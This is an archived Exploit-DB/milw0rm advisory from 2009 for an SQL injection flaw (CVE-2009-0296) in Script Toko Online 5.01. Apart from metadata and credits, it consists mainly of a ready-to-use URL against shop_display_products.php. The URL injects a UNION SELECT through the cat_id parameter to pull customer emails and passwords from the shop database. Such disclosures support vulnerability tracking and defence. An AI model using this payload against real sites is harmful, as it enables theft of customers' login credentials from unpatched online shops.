Script Toko Online 5.01 shop_display_products.php SQL Injection Vuln

2009-01-26T00:00:00
ID EDB-ID:7873
Type exploitdb
Reporter k1n9k0ng
Modified 2009-01-26T00:00:00

Description

Script Toko Online 5.01 (shop_display_products.php) SQL Injection Vuln. CVE-2009-0296. Webapps exploit for php platform

                                        
                                            +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Scripts         : Script Toko Online Vs.5.01
Scripts site    : http://www.gempar.com/
Discovered By   : k1n9k0ng
My Site         : http://www.sekuritionline.net
IRC Channel     : #sekuritionline
Special To      : adhietslank, cyberlog, cah_gemblunkz, jayoes, thesims, setiawan, fl3xu5, k1tk4t
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Demo Site :
http://www.gempar.com/demotoko/

Bug Found:
http://www.gempar.com/demotoko/shop_display_products.php?cat_id=-1 union select concat(email,0x3a,password),1,2,3,4,5,6,7 from naxtor_cart_store_customer/*

# milw0rm.com [2009-01-26]